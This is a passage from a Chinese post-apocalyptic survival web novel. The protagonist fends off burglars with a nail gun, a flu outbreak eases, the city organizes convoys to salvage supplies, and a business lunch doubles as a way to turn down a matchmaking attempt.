一转眼，时间又过了三天，流感的感染率依旧没有下降的趋势，可能是因为空气中病毒的浓度太高，就算一直戴着口罩，健身房依旧有好几个教练倒下了。 剩下的员工忙不过来，秦小薇考虑了一下，干脆停业，让她们在家里休息几天。 知道她们存粮吃完了，担心员工们饿肚子，秦小薇又出去弄了半车玉米、土豆、蔬菜回来。 可能是因为待在地下不见阳光，最近这段时间，普通人湿疹和鼻炎的发病率也在逐步上升。 担心员工们也会中招，秦小薇还给她们弄了些复合维生素片、牛奶和鸡蛋。 三个室友也要了一些，她是按照市场价卖给她们的。 这天晚上，秦小薇抱着狗睡得正熟，她怀里的德牧却忽然蹿了起来，对着窗外“汪汪”叫。 朔月平时很安静，几乎从不 乱叫，秦小薇被吵醒后，飞快套上外套，又从仓库里拿出射钉枪握在手里。 秦小薇打开窗户朝外面看了看，发现这一片别墅的灯几乎都打开了，除了她家朔月，附近还有好几只狗在叫，隐约间还听到有人在大喊“抓小偷”，中间还夹杂着一些小朋友的哭声…… 她犹豫了一下，带着朔月一起下了楼。 她刚走进院子里，就听到院子外传来一阵嘈杂的脚步声，紧接着，一个黑影从墙头“掉”了下来。 “真TM扎手……”小偷身后挂着一个背包，背包鼓鼓囊囊的，全是他的战利品。 他的脑袋被黑色的头套裹得严严实实的，只露出眼睛鼻子和嘴巴，他手上还握着一把匕首，上面沾着一些鲜红的血迹。 和秦小薇四目相对后，小偷的骂声戛然而止。 看到她身边的狗之后，小偷的动作顿了一下，但他丝毫没有后退的意思…… 对峙了几秒后，他握着匕首，朝着秦小薇扎了过来。 秦小薇没摆出迎敌的架势，她举起射钉枪，对着他的膝盖就是一枪……等人跪下了，她又对着他的手腕来了两枪。 “啊——”小偷的惨叫声接连在院子里响起。 秦小薇：准头不错！ 秦小薇走过去捡起他身旁的匕首，她正准备“就地取材”，把人绑起来，却又听到“扑通”一声，院墙上又“掉”下来一个人。 见那人也戴着头套，她没有犹豫，在对方站起来之前，就举起了射钉枪…… 两个小偷都失去行动力之后，秦小薇准备继续绑人，但是……墙头又“掉”下来一个人。 秦小薇：没完没了了是吧？ 他们是葫芦娃吗？解决一个，马上又来一个！ 连着放倒三个小偷后，秦小薇等了一会，见没人再出现，她才把人绑起来。 “啊——”就在她绑人的时候，一个小偷发出一声惨叫，秦小薇顺着声音看过去，才发现一个小偷想要拖着病腿爬走，被朔月发现后，直接咬了他一口。 德牧龇着牙，喉咙里发出凶狠地低吼，和平时撒娇卖萌的模样完全不一样。 可能是因为她家院子里的动静太大了，人还没绑好，大门就被人敲响了。 门外传来陆昼的声音：“秦小薇，开门！” 他没按门铃，直接上手拍门，大铁门不断颤动，手掌和铁门接触后发出的声音特别大。 秦小薇冲着门口的方向大声喊道：“等下！马上来！别敲了！” 大门打开之后，秦小薇发现，门外除了陆昼，还站着好几个保镖。 陆昼上下扫视她：“你没事吧？” 秦小薇摇头，她打开大门，让他们进来：“抓了几个小偷，他们太菜了，我还没动手，他们就倒下了……” 被射钉枪射中，还躺在地上哀嚎的几个小偷：“……”她是没动手吗？她是直接远程开大！ 陆昼打电话叫了警察过来，几个小偷很快就被抬走了，陆昼也一起离开了。 没过多久，家里又来了一波警察，提醒她晚上睡觉的时候要警醒一些，遇到了问题随时联系他们……服务态度非常好！ 后半夜附近一直有警察巡逻，秦小薇也就放心地回屋睡觉了。 秦小薇注意到，除了警察，连救护车也来了。第二天早上，她和邻居打听了一下，昨晚哪家受伤了？ 她记得清清楚楚，昨天第一个小偷来的时候，手里的匕首是染了血的，她后面捆人的时候，发现对方胸口也沾了不少血迹，但他胸口却没有伤，那就只能是别人的血了。 大妈叹了口气：“岚彩为了保护孩子，被捅了好几刀，送去医院的时候，人都快没气了……要我说他们也是心大！现在外面什么光景？他们竟然还敢大张旗鼓地办生日宴！还连累咱们这一片都被贼惦记上了……” 自从上次生日宴的视频流出去之后，富人区这边就成了“香饽饽”，有人千方百计地想要挤进来找工作，还有人在网上花钱雇人带他们进来“观光”。 就连路上的垃圾桶，一天都不知道要被翻多少遍……秦小薇还看到有人在网上发帖抱怨，说这边的垃圾桶根本捡不到奢侈品和吃的。 其实除了别墅区，他们这还有普通商品房，有些人还要去公租房那边抢菜，这边的住户的生活，真的不是那些人想象的那样，鲍鱼燕窝随便吃，甚至还能吃一碗扔一碗…… 大妈似乎对岚彩一家颇有微词，对着秦小薇抱怨了许久…… 那几个小偷偷了好几家，他们被抓之后，警察很快就把赃物物归原主了，除了岚彩和她家的保镖受了伤，其他住户，并没有损失什么。 但别墅区很多人都觉得，这些小偷是岚彩他们家招来的，秦小薇经常听到邻居在背后蛐蛐他们…… 为了挽回在邻居中的形象，岚彩还没出院，她老公就提着礼物，带着女儿、挨家挨户地道歉，说给他们添麻烦了……毕竟这边有不少住户，都是他家的合作对象，要是把所有人都得罪死了，他家的生意以后也没法做了！ 秦小薇觉得，岚彩一家也挺惨的，自己花钱办生日宴请大家吃饭，最后不仅没赢得好名声，还被贼惦记上，进了医院…… 秦小薇从陆昼口中得知，这些小偷之所以会和下饺子似的，一个个都往她家院子里跑，是因为他们之前踩过点，知道这附近，就她独居，家里佣人保镖一概没有…… 就算他们逃跑的时候没过来，在他们的规划里，后面也是要过来“光顾”一下的！ 秦小薇：就算她的性别不占优势，她家也还有一只狗啊！不是说小偷偷东西的时候都会绕过有狗的人家吗？ 院墙上铁刺的防贼效果似乎有点差，小偷事件过后，秦小薇又在院子外面装了一圈铁丝网，铁丝网上面布满了密密麻麻的尖刺。 就算隔着厚厚的衣服手套，也能把人扎出血…… 不过那晚过后，附近的安保严格了许多，不仅警察巡逻的次数增加了，住户们还安排了保镖，开着电车24小时不间断巡逻。 一旦有人呼救，巡逻的保镖一两分钟内就能赶到……让人觉得安全感十足！ 半个月后，健身房重新开业——员工们都被感染了一轮，病好了，可以继续上班了。 医院也逐渐有了药品供应，某些重症患者，不用继续硬扛了…… 听陆昼说，是上面开了会，决定再去一次风城，再买一批药回来。 不过暴雪刚开始的时候，风城那边就失联了……他们辗转许多途径，也没有联系上那边的人，但市政还是派了飞机过去探查。 不过战士们带回来的消息却是，风城已经快变成一座“死城”了，整座城市，几乎找不到多少活人，被冻成冰棍的尸体倒是不少。 他们在风城待了几天，才找到十几个活人。 战士们从那些人口中得知，风城的工作人员早就组织市民们转移走了，现在还留在风城的，多是些不愿意离开家乡、觉得自己身体比较差，受不了旅途奔波的老弱病残…… 不过市政也不是什么都没做，他们后面又派了工程师和运输机过去，把风城药厂里的机器和原材料都运了回来——风城的市民撤离得匆忙，再加上运输工具有限，很多东西都没带走，只简单封存起来了。 集合整座地下城的力量，药品生产线很快就开始动工……流感的感染率也终于稳定下来了！ 不过流感的问题解决了，市民们的温饱，依旧是个大难题。 自从市政调整了能量饼干的供给量，肖琳琳每天都在超负荷工作——监狱的犯人一天比一天多，他们还不听话，几乎每天都要因为争抢食物闹出一些乱子。 可能是有犯人把流感病毒带了过去，监狱里面也有不少人倒下了，再加上长期保持饥饿状态，生存环境又很差，他们的身体状态本来就很差。 据肖琳琳说，他们那边流感的死亡率，已经超过5%了，是红浦区这边的十倍！ 有些犯人，睡一觉起来，就发现同伴已经死了。 肖琳琳时常在群里抱怨，她每天两眼一睁，就是搬尸体，最开始的时候，她搬完尸体，还会认真洗手换手套，后面发现手套根本不够换、手上的冻疮也经不起她这么频繁的折腾，只能省去这两个步骤。 现在，她搬完尸体，已经可以面不改色地啃能量饼干了！ 用她的话来说，就是她已经完全免疫了！ 就连尸体身上的衣服，她也可以面不改色地扒下来，给其他人废物利用…… 近距离接触尸体之后，她晚上也不会再做噩梦。 刚开始的时候，那些犯人看到尸体还会大惊小怪，但现在，他们也免疫了，发现死人了，就找工作人员进笼子搬尸体。 比起担心其他无关的人，他们更担心自己能不能熬过这波流感…… 别说现在药品稀缺，就算药品不稀缺，医院的药也会优先供给给那些没有犯过错的普通市民…… 第116章 第116章开荒（双更合一）…… 外面的世界不太平,但秦小薇待在别墅区，却不用担心这么多。 最近这段时间，她最 大的困扰就是过于沉迷游戏,经常在地毯上一坐就是好几个小时,因为没有健身房的教练陪她练拳击、格斗,宅家这些日子，她已经胖了十斤了！ 不过她的身高摆在那,就算胖了十斤,乍一看，也不怎么明显,至少脸还没有变圆。 就是腹肌有逐渐减少的趋势…… 为了增加活动量，她最近都不放朔月一只狗进空间里自己遛自己了，每天早晚,她都要牵着朔月出去跑一个小时。 这天,晨跑回来后，秦小薇随手脱下外套挂在一边，抽了两张宠物专用湿纸巾,给等在一旁的朔月擦爪子上沾到的灰尘和泥。 朔月也十分配合，擦完了左爪伸右爪…… 给德牧擦完狗爪后,秦小薇拍了下它的屁股：“好了,干净了！自己去玩吧！” 她刚站起来，门铃就被人按响了，秦小薇看了下监控,是附近的邻居，她折回院子里，打开了院门。 秦小薇：“许叔，您找我有什么事？” 许叔：“我上次听你说,你家德牧今年两岁了，对吧？” 秦小薇应了一声。 许叔：“我家旺财今年三岁，你看，它们平时也能玩到一起去……要不，等你家德牧发情了，给它们配个种？” 秦小薇想到对方家里那只性格有点二、超级爱拆家的哈士奇，沉默了。 她家水灵灵的大白菜，这就被惦记上了？ 她拒绝道：“许叔，朔月是我从警犬基地领养回来的，我领养它之前，警犬基地那边就给做了绝育手术……您看，这事儿可真不巧！要不您再去别家问问？” 被拒绝了，许叔一点都不生气，反而和秦小薇打听起警犬基地的事，一副要给他家旺财挑个“童养媳”的模样…… 秦小薇也没有隐瞒，把自己知道的都告诉他了，许叔道完谢，就欢欢喜喜地离开了。 吃完了早饭，她又从空间里弄了些装着韭菜根的花盆出来，换掉院子里已经收割过两茬韭黄的花盆。 韭菜是耐寒蔬菜，普通的韭菜，只要温度有个3、5℃，它们就能缓慢生长，她用的这批种子，是专家们改良过的，就算温度到了零下，也能缓慢生长。 但韭菜需要通过光合作用积累养分，一直收割韭黄，会透支养分，导致根系衰弱、病虫害风险增加，就算勤施肥，也得被光照一照，才能保证韭菜根的可持续发展。 秦小薇准备了不少一模一样的花盆，院子里的韭黄割了两茬，就换去空间里晒晒太阳、恢复恢复。 整理好院子里的花盆，她正准备回去，却听到院子外面传来双胞胎的喊声。 “薇薇姐姐，我们来找你和小月亮玩了！” 两个孩子的声音中还夹杂着两只泰迪欢快的狗叫。 她拿出手机看了看，才发现今天已经周六了！ 宅家的日子过得真快！一转眼，五天就过去了。 虽然年龄相差了十几岁，但两个小朋友很可爱，秦小薇能和他们玩到一起，她应了一声，进屋洗了手，就牵着狗出门了。 秦小薇以为，他们家今天又没有大人在，只有两个小家伙在家里“称王称霸”。 但刚进屋，她就看到了一屋子年龄不一的成年男女。 大部分人她都不认识，只有两个她有点眼熟，是同住别墅区的邻居。 客厅的沙发上坐满了人，空气中都是难闻的烟味，客厅那张占据了半面墙的显示屏开着，电视里正在播放电视剧，电视的声音却被关了，看他们的状态，似乎是在谈生意。 秦小薇：“……”难怪双胞胎一大早就来找她和朔月，原来是被爸妈赶出来玩的！ 虽然被撞到和两个小朋友一起玩闹，但秦小薇一点都不尴尬，她镇定自若地和男主人、女主人打了招呼，胡乱找了个理由：“悦悦说要拿东西，我和耀耀陪她回来一趟……” 女主人主动走过来招待秦小薇，剩下的人继续谈事，没有管他们。 秦小薇让双胞胎找了几套游戏卡带，就准备带他们回自己家。 凌悦悦和凌耀耀找东西的时候，秦小薇听到客厅里的人说着“车队”“物资”…… 他们的声音不大，她听得并不清楚，但她知道他们在聊什么。 上面之前一直往宁市塞人，但省里分给他们的物资却没多多少，甚至还要求宁市自力更生，努力克服困难，这导致他们现在不得不缩减普通人的物资供应。 据陆昼说，因为南湖区和江安区的乱象，上面一天要开好几次会，但巧妇难为无米之炊，商量来商量去，省里的电话都快被他们打爆了，依旧没想到什么好办法…… 但之前他们派运输机和工程师跑了趟风城，不仅弄了一堆药品生产线回来，还弄到了不少合成药品的原材料。 虽然这样有“偷东西”的嫌疑，但物资这种东西，生产出来就是让人用的…… 这也让他们打开了思路，决定把别的省市“不要”的资源“废物利用”。 至于之后被人家发现了会扯皮，那就是之后的事了……按照陆昼的记忆，之后还不知道会怎么样呢！还是先顾好眼前吧！ 用运输机运输虽然很方便，但Q省没有航空燃料基地，一直用飞机，燃料供应也供不上；不过Q省有石油工业基地，天灾之前上面就加大了开采力度，汽油和柴油还是很容易弄到的。 于是，市政便计划派出车队，去那些已经没人的城市探查，寻找有用的资源。 这趟需要的人很多，市政除了会派出军队探查，还鼓励民间自己组织队伍外出探查……也算是为普通人创造“工作岗位”了。 这事市政还没正式公布消息，不过住在这边的人或多或少都有些人脉，听到了风声，提前做准备也很正常。 女主人在监控里见过秦小薇很多次，对她还算熟悉，她把三人三狗送出门，又交代双胞胎不准吃太多零食，就又坐回沙发上去了。 似乎一点都不担心，两个孩子跟着秦小薇会出事…… 回家后，他们放三只狗在院子里自己玩，秦小薇则带着双胞胎，在客厅里玩游戏。 两个孩子还小，她自己一个人打游戏的时候，没什么节制，但身边多了两个孩子，秦小薇就注意多了，隔半个小时，就让他们起来活动一下，放松一下眼睛。 听说她家有泳池，晌午的时候，双胞胎又闹着要回家拿泳衣，去泳池里玩水…… 秦小薇有些犹豫：“你们会游泳吗？” 凌 悦悦疯狂点头：“会啊！之前学校还有游泳课呢！但是地下城太小了，建不了大泳池，搬过来以后，游泳课就取消了……” 他们上的是富人区的国际学校，可以从幼儿园直升高中，每个学期，光是学费就要七位数。 学校实行的是小班教学，老师和学生的数量能达到1.5:1，除了最基础的文化课，像是钢琴、唱歌、乒乓球之类的课程也不少。 见两个小朋友满脸期待地盯着她，秦小薇还是陪他们回家拿了泳衣、泳镜、救生圈和玩具，担心自己管不住这两个小不点，回来的时候，秦小薇还叫了两个负责照顾他们的保姆…… 屋里的地暖一直开着，连带着泳池里的水都有点温温热，就算地面上零下三四十度，但在屋里游泳，一点都不冷。 下水后，秦小薇发现，这两个孩子游泳确实很熟练，根本用不上救生圈。 见此，她也就放他们自己玩了。 德牧在岸上看了一会，也“扑通”一声跳了下来，欢快地玩起了水……双胞胎家的两只泰迪不会游泳，也不敢下水，一直在岸上看着。 看到朔月熟练的狗刨式，双胞胎都觉得很惊奇，甚至还和狗比谁游得更快…… 凌悦悦：“姐姐，小月亮怎么会游泳？是你教的吗？” 秦小薇摇头：“不是，是警犬基地的训导员教的，我接它回来的时候，它就会游泳了……” 两个双胞胎像是发现了什么新大陆似的，闹着要教泰迪游泳，就算秦小薇说她不会教狗游泳，他们也不听。 双胞胎拍着自己的小胸脯，信誓旦旦道：“姐姐，不用你帮忙！我们可以的！” 不久后，泳池里就响起了此起彼伏的狗叫…… 好在泰迪套着朔月的大号救生衣，没有溺水，只是毛发打湿了。 赶在午饭之前，秦小薇把泰迪身上的毛吹干了，把两个孩子连着保姆一起打包回家吃饭。 临走前，他们还有些依依不舍。 凌耀耀：“姐姐，我们睡完午觉再来找你玩！” 秦小薇：“……”带孩子好累！ 几天后，秦小薇听店里的员工说，商业街的人流量似乎恢复了，感染了流感的客人也越来越少，她问了陆昼，得知最近流感的死亡率下降得特别厉害，只有不到0.1%后，在家里宅了一个多月的秦小薇便开始继续上班。 连着上了三天班后，某天中午吃饭的时候，范槿和段霞过来了。 两人都带了午饭，三人坐在办公室里，围着桌子，一边吃便当一边聊天。 秦小薇的便当，是她自己做的西红柿炒蛋、凉拌黄瓜配香喷喷的大米饭。 范槿的便当是她爸爸昨天晚上做的，蘑菇汤配土豆大米和土豆泥。 土豆泥里放了酱油调味，看起来黑乎乎的，像是一坨黑色的粑粑。 段霞的便当卖相好一些，但也只有几个烤土豆和几片腊肉。 秦小薇看着范槿的便当直皱眉：“饭饭，叔叔怎么把土豆泥做成这个样子？” 范槿：“家里调味料用完了，只剩老抽了……其实挺好吃的！薇薇，你要不要和我换菜吃？” 秦小薇犹豫了一下，才点点头，她从便当盒里舀了一大勺西红柿炒蛋盖在范槿的饭上，又从她的碗里舀了一勺黑乎乎的土豆泥。 范槿给她添了一勺土豆泥，又去舀她碗里的大米饭：“给我尝尝你的米饭，我好久没吃到正宗的大米饭了！” 秦小薇：“换菜是假的，我看你觊觎我的米饭才是真的！” 范槿：“嘿嘿嘿，被你发现了！” 之后，她又用番茄炒蛋和凉拌黄瓜和段霞换了半个烤土豆。 土豆泥虽然看起来像黑暗料理，但范爸爸掌勺多年，手艺摆在那儿，土豆泥的味道其实挺不错的，口感很绵软，范爸爸还在里面加了玉米粒和蔬菜粒提升口感，咸香咸香的…… 秦小薇：“咦，阿霞，你的冻疮好了？” 因为之前长了冻疮，她手上还留有一些痕迹，但手上已经看不到明显的伤口了。 段霞看了下自己的手，点点头：“前段时间就好了！我之前出去巡逻的时候，不习惯戴两层手套干活，老是把最外面那副手套摘下来，现在已经习惯戴手套干活了，再加上这段时间没出地下城，就养好了……” 秦小薇：“你们队现在不用去外面巡逻了吗？” 地面安置了一批难民，之前一直是巡逻队和警察轮流去那边巡逻。 段霞摇头，虽然屋里没有外人，但她还是压低声音，小声开口道：“我感觉上面好像不想管地上那批人了，最近都只有送物资过去的时候，才会安排我们随行保护物资车……其他时候，就算有人报案，我们也不用过去。” 范槿叹了口气：“没办法！南湖区和江安区那边太乱了，光是我们队，上个月就又调了五个人过去帮忙……还不知道她们什么时候能回来呢！” 虽然对那些难民来说有些残忍，但秦小薇也能理解上面的做法，对高层来说，宁市的三座地下城塞了这么多人，天然拥护他们的本地人都管不过来，哪还有资源、人力管那些外来者…… 范槿她们下午还要执勤，吃完中饭，三人简单聊了一会，她们就离开了。 午休的时候，秦小薇刷了会手机，许久都没人发言的年级群和班群一连弹出了好几条消息，秦小薇点进去看了看，原来是有人在招募“队友”。 她打开宁市的官方账号，就她们吃饭的那会，市政发了公告，说了招募民间队伍探索其他空城、寻找资源的事。 普通人也不用担心路上大雪封路，出不了宁城，因为会有军队和扫雪车开道。 除此之外，还有专业人员随行，以防他们碰到了有用的生产线不认识、不会拆。 民间的队伍，自己要出资一部分，市政也会给予一定的物资支持，找到了有用的物资，还会给予一定的奖励。 关于具体的细则，公告后面还附了一个文档……秦小薇点开文档看了看，文档里的内容非常详细，物资的类目几乎涉及生活、工业生产的方方面面。 除了奖励的具体细则，公告里还附上了路上的管理条例。 看得出来，市政对于这次“探索”，花费了很多心力。 至于找到的物资能不能私藏……路上山高水远，沿途挨了那么多冻，只要不是太过分，官方的人应该也不会太过计较。 毕竟，水至清则无鱼！ 秦晓薇的同学中，有不少人目前还在失业，靠着家里给的生活费啃老，看到群消息后，很快就有人冒了出来。 对于他们自发组成的队伍，公告里是有要求的，比如说年纪不能太大，没有基础疾病，最最重要的一点是他们得有车…… 虽然有车这一条，刷掉了不少人，但地下城的人口基数摆在那儿，很快就凑齐了报名的队伍。 虽然前期的准备时间有点长，但人凑齐的第二天，队伍就出发了。 这天下午，秦小薇下班回来的时候，发现陆昼牵着狗在她家门口等她。 她打开门，放他和香肠进去：“等多久了？” 陆昼：“没多久，半个小时吧！” 秦小薇的动作顿了下，她诧异地看了他一眼：“你最近这么闲？不用加班吗？” 陆昼摇头：“地下城一切太平，没什么需要我操心的地方……” 秦小薇想到昨晚在群里抱怨自己要成专业“运尸工”的肖琳琳，沉默了。 他嘴里的一切太平，是红浦区一切太平吧？其他两个区的事，他是一点都不放在心上啊！ 进屋关上大门后，陆昼才说起自己的来意：“家里的东西吃完了，过来找你拿一点！” 秦小薇算了算时间，比上次早了一周：“这么快？你家 又添人了？” 陆昼家也养了鸡、种了菜，甚至还挖了池塘养鱼，但他家人多，还要负责保镖的一日三餐，保镖饭量大，就他家那些东西，还不够保镖们吃。 秦小薇空间里的肉和菜都吃不完，有时候还要为了“爆仓”的事烦恼，所以陆昼也没去其他的地方采购食材，隔半个月就从秦小薇这取一批物资回家吃。 陆昼解释道：“我和几个朋友也组了车队出去‘开荒’，他们路上吃的东西，是我负责准备的。” 秦小薇带着他进了空间：“那我这次要不要给你多拿一点物资？” 陆昼摇头：“肉菜按照之前的量来，米面给我多拿一些。” 看到秦小薇给他准备的几板鹅蛋，陆昼无奈道：“你别每次都夹带私货……” 自从她发现陆昼能帮忙解决鹅蛋，农场里的鹅蛋，几乎都进了他和他家人的肚子，这东西就算是放了葱姜炒着吃，也有一股腥味，就算他不挑食，也喜欢不起来。 秦小薇：“没办法，鹅要生蛋，拦不住！你家不是有厨师吗？小小鹅蛋，肯定能拿捏……实在不行，就喂香肠吧！它不挑食！” 正在一边撒欢的拉布拉多听到了自己的名字，停下动作，看了过来。 陆昼：“……算了，我拿给保镖吃。” 出去转了一圈，秦小薇自己也拖了一袋物资回来装样子。 秦小薇周围也有一些同学参与了外出搜寻物资的工作，之后一连好几天，她都在关注这件事。 刚开始的时候，前方还每天都有消息传回来，说他们走到哪里哪里了，但没几天，传回来的消息就越来越少，同城APP和群里几乎看不到这些人的发言。 有些是手机没电了，还有些是外面太冷，给手机加热的暖宝宝用完了，手机用着用着，就自动关机了…… 不过官方的设备还是挺靠谱的，秦小薇从陆昼那得知，大部队每天都会和官方汇报进度、外加报平安。 队伍并没有和地下城断联…… 这天晚上，秦小薇刚洗完澡从浴室出来，就接到了陆昼的电话。 陆昼：“明天有空吗？能不能帮我一个忙？” 秦小薇开了免提，把手机放在一边，往脸上敷面膜：“什么忙？” 别墅虽然住着很宽敞，但开了地暖以后实在是太干了，屋里放了加湿器都没用，不用面膜和身体乳，她的皮肤就很容易起皮。 陆昼：“陪我吃顿饭。” 秦小薇：？？？ 秦小薇觉得他这个要求有点奇怪，便问：“在哪吃？” 陆昼：“上次咱们参加生日宴的那家酒店。” 秦小薇想到了上次那桌酒席的价格，沉默了片刻，忽然问他：“AA吗？” 那家店菜的味道虽然不错，但五位数一道菜，实在太贵了！ 以她的消费观来说，在那边消费，纯粹就是当冤大头。 酒店明明可以明抢，却还要送她一道菜…… 电话那头的人轻笑了一声，片刻之后，开口道：“我请客。” 秦小薇：“几点？” 陆昼：“中午十一点半。” 秦小薇：“行！那个时候店里应该没什么人了……” 第二天中午，她把狗留在健身房，独自一人，骑着电动车去了酒店。 半路的时候，她接到了陆昼的电话。 秦小薇：“我马上到了，你等我一分钟。” 陆昼：“我在你后面，停一下！” 秦小薇停下电动车，她回过头，一眼就看到陆昼站在路边一棵人造景观树下，正拿着手机冲她笑：“载我一程？” 秦小薇挂断电话，调转车头，把电动车开了过去：“你什么毛病？这么一小段路也要坐车？直接走过去不就行了！” 第117章 第117章电子龙（双更合一）…… 陆昼：“不坐车也行,我们走过去？” 这边离酒店大门也就一百多米，拐个弯就到了，秦小薇想了想,直接下了车,在路边找了个地方,把车锁了起来。 锁车的时候，她问陆昼：“今天除了我们两个,还有谁？” 陆昼：“还有两个家里的生意伙伴,主要还是吃饭……你和上次一样，正常吃饭就行了。” 秦小薇回忆了一下,上次那场生日宴，前半场，他俩确实在正常吃饭,后半场虽然有不少人过来找他们敬酒,但陆昼的效率特别高，不到半个小时，他就和好几个生意对象达成了后续的合作事宜。 她随手把钥匙塞进口袋里：“行,那咱们走吧！” 陆昼：“这么没有戒心……不怕我坑你？” 秦小薇冲着他笑了一下，然后飞速变脸,在陆昼面前晃了下自己的拳头：“你可以试试。” 陆昼：“……” 可能是因为初识的那段时间,他就一直在威胁她，秦小薇也习惯了他一惹她生气，就直接和他动手,就算他们现在关系缓和了，秦小薇这个习惯也一直没改，对他从来就没客气过。 陆昼丝毫不怀疑，他要是真的坑了她,她转头就会把他打骨折…… 他们到酒店的时候，陆昼的生意伙伴已经到了，是一对中年夫妻，两人并排坐着，正小声聊着些什么。 看到秦小薇和陆昼并肩走进酒店大厅，女人脸上的笑容有些僵硬：“小陆，这位是？” “吴阿姨，她是我朋友，叫秦小薇……薇薇，这是我之前和你说过的吴阿姨，这是刘叔叔……”陆昼为双方介绍着。 陆昼叫她，向来是连名带姓地叫她“秦小薇”，这声“薇薇”怎么听怎么怪。 直觉他这趟还有其他的目的，但秦小薇脸上却没露出，她迎着两人打量的视线，大大方方地和他们打招呼。 打完招呼后，陆昼拉开一旁的椅子，让秦小薇入座，之后点菜的时候，他也不断征求她的意见，吃饭的时候，还不忘给她夹菜…… 秦小薇觉得，对面吴阿姨的眼刀都快把她扎成筛子了！ 虽然吴阿姨对秦小薇有很大的敌意，但桌上其他三人都没忘记这次吃饭的目的，他们大部分时间，都在聊生意上的事，吴阿姨并没有说出什么让秦小薇尴尬难听的话，影响他们和陆家的合作。 见此，秦小薇就当没察觉到她的敌意，一直当背景板在边上吃饭，只偶尔在提到她的时候，礼貌应付几句。 他们聊的合作和这次外出搜寻物资的队伍相关，据说他们在路上收获颇丰，等他们回来了，地下城大概率会增加好几个厂子。 一些依靠之前囤货的必要物资，也能实现自给自足…… 在酒店门口目送夫妻俩坐车离开后，秦小薇揉了下自己吃撑的胃：“这位吴阿姨可真是个体面人，明明那么讨厌我了，愣是全程没和我说一句重话……哎，陆昼，她是不是想让你当她家女婿？” 陆昼毫不避讳地点头：“她女儿喜欢我，他俩也一直在撮合……现在两家有合作，我避不开，只能用这个办法，一劳永逸。” 秦小薇十分佩服他的效率，一顿饭的时间，不仅谈成了一场合作，还拒绝了一朵桃花，一箭双雕啊！ 不对，是一箭三雕，他还吃了顿午饭！ 秦小薇摸了摸自己的下巴：“你说，他们的女儿会不会来找我？然后给我五百万，让我离开你……” 她眼睛很亮，眼里全是跃跃欲试。 陆昼：“……少看点电视剧吧！大家都是生意人，比起那些情情爱爱，还是利益更重要，刘叔不会让她女儿干这种蠢事的。” 秦小薇：“……” 陆昼：“我没开车，你顺道送我回别墅吧！” 秦小薇：“不顺路，只能送你到交界口的地方，你自己走回去。” 陆昼：“……也行。” 秦小薇：“吴阿姨他们一家也住地下城吗？我之前好像没见过他们……” 陆昼：“可能是刚好错开了，他们住1065号别墅。” 秦小薇的脚步倏然顿住：“他们是刘钰婷的爸妈？” 搬过来这么久，秦小薇和附近的邻居，差不多都混熟了。 可能是因为年龄相近，她和这位刘钰婷处得还可以，偶尔碰到了也能聊上几句，她长得很漂亮，还是拉小提琴的，说话温温柔柔的，非常有气质。 说实话，秦小薇还挺喜欢她的…… 陆昼应了一声，继续往前走。 秦小薇：“早知道我就不来了，这样我们以后见面了，多尴尬啊！” 陆昼停下脚步，转身看着她，皱眉道：“你和她关系很好？” “倒也不是……不过她以后肯定不会邀请我去她家听免费的小提琴演奏了！”秦小薇满脸都写着“我损失大了”。 陆昼：“……” 陆昼摇了摇头，没再说什么。 吃饱喝足后，秦小薇回健身房继续上班，临下班前，健身房一位教练把她拉到一边，冲着她开口道：“店长，我要结婚了，明天早上想请半天假去领证。” 秦小薇有些惊讶：“你要结婚了？” 江明月点头：“我和我男朋友也谈了好几年了，家里一直在催，但因为房子的问题，我俩一直领证……前段时间流感，地下城死了不少人，我男朋友他花了点钱，弄了个双人间。婚房有了，我俩就商量着先把证领了！” 虽然说死人住过的房子有些晦气，但现在地下城，大部分人住的还是四人间，双人间非常难弄到。 那些病患死了后，其他两个地下城，有一堆人排队等着进来，江明月她男朋友费了不少力气，才弄到双人间的。 因为房子来得太不容易，死过人这点“小事”，就被他们自动忽略了…… 秦小薇：“我直接给你放两天假吧！领完了证，你们还能把家搬了，结婚是大事，别搞得太匆忙了，免得留下遗憾！” 江明月接受了她的好意：“谢谢店长！过两天，我请大家吃喜糖！” 回家的路上，秦小薇碰到了刘钰婷，对方眼圈红红的，一看就是哭过的。 秦小薇故作镇定地和她打招呼，刘钰婷没有回应，幽幽看了她一眼，就急匆匆离开了。 看着她的背影，秦小薇松了口气，她还以为刘钰婷会找她聊陆昼的事呢！ 希望她能早点从“情伤”中缓过来吧！ 可能是因为刘钰婷刻意避开了她，再加上秦小薇要去健身房上班，之后两天，她们一直没碰到过。 两天后，秦小薇收到了江明月送给她的喜糖，喜糖是能量饼干切碎后，和糖浆混合制成的，吃起来是咸甜口的，味道有点怪。 不过现在物资匮乏，甘蔗、甜菜之类的糖料作物种植区又种植得少，这种喜糖，还是夫妻俩找了人帮忙，才买到的。 吃喜糖的时候，有人忍不住问江明月：“明月，你们摆酒吗？” 江明月有些苦恼地开口道：“我老公说摆几桌……还在凑食材呢！” 秦小薇在边上默默吃糖，没有说话。 她空间里虽然有不少食材，平时也会弄些免费的肉菜，给她们当员工福利，但那是因为她们一直在给她干活，办事也尽心尽力，她给她们送东西，打的也是健身房“老板”的名义。 但婚宴酒席和员工福利可不是一个概念。 最多就是江明月开口后，给她弄一部分市场上很难弄到的紧俏物资，想让她大包大揽是不可能的！ 当然，她是要收费的！ 这两天，秦小薇也没闲着，每天晚上回去之后，她都抱着手机，和陆昼打听，队伍外出搜集物资的进度…… 上次和刘钰婷爸妈吃饭的时候，秦小薇通过他们的聊天内容得知，外出搜寻物资这事的操作空间非常大。 运气好的话，跑一趟，就够队伍里的人吃好几年了。 跑这趟，他们收获颇丰，市政之后肯定还会组织队伍去其他的城市搜寻物资。 秦小薇虽然不缺物资，但她缺能拿到明面上的物资来源，组建队伍这事对她来说并不麻烦。 之前陆昼让她收物资的时候，有些物资是直接装在卡车里的，卡车也可以正常使用，她只要去外面拆几座没人住的安全屋，把里面的物资替换出来就行了。 “有车”这一条，把大部分普通人拦住了，但对她来说，却不是什么难事！ 人也好找，她朋友圈里，还有不少人都没工作呢！ 上次组建队伍的时候，群里有人提了这事后，不到几分钟，群里未读消息就变成了99+，可见，大家对这事都很感兴趣！ 而且大家都是体院的，身体素质比一般人好很多！ 他们路上消耗的各种物资，其他队伍可能还需要东拼西凑，但她随时可以拿出来。 唯一的问题就是，她不想自己出去挨冻，得找个靠谱又信得过的人帮她带队…… 不过，距离第二批队伍出发，还有很长一段时间，她可以慢慢寻摸领队的人。 秦小薇决定，先去外面弄几间安全屋，把卡车里的物资腾出来。 